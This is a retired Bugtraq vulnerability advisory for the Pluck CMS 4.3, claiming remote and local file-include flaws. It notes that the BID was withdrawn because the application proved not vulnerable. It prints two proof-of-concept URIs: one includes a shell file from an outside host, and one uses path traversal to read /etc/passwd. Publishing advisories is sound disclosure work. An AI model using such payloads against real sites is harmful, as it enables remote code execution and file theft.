Retired: Pluck Multiple Input Validation Vulnerabilities

Bugtraq ID:	25179
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 02 2007 12:00AM
Updated:	Aug 03 2007 11:04PM
Credit:	Aria-Security Team is credited with the discovery of these vulnerabilities.
Vulnerable:	Pluck Pluck 4.3
Not Vulnerable:

Retired: Pluck Multiple Input Validation Vulnerabilities

The 'pluck' CMS is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied data. These issues include a remote file-include vulnerability and a local file-include vulnerability.

An attacker can exploit these issues to execute arbitrary local and remote PHP code in the context of the webserver process. This may facilitate a remote compromise of the underlying system; other attacks are also possible.

This issue affects pluck 4.3; other versions may also be affected.

NOTE: This BID is being retired because further investigation has revealed that the application is not vulnerable to these issues.

Retired: Pluck Multiple Input Validation Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/data/inc/theme.php?dir=http://www.example2.com/shell.ext?
http://www.example.com/data/inc/theme.php?file=../../../../etc/passwd

Retired: Pluck Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

NOTE: This BID is being retired because further investigation has revealed that the application is not vulnerable to these issues.

Retired: Pluck Multiple Input Validation Vulnerabilities

References:

• Pluck Homepage (Pluck)
  
• Pluck 4.3 themes.php Remote File Inclusion and disclosure ([email protected])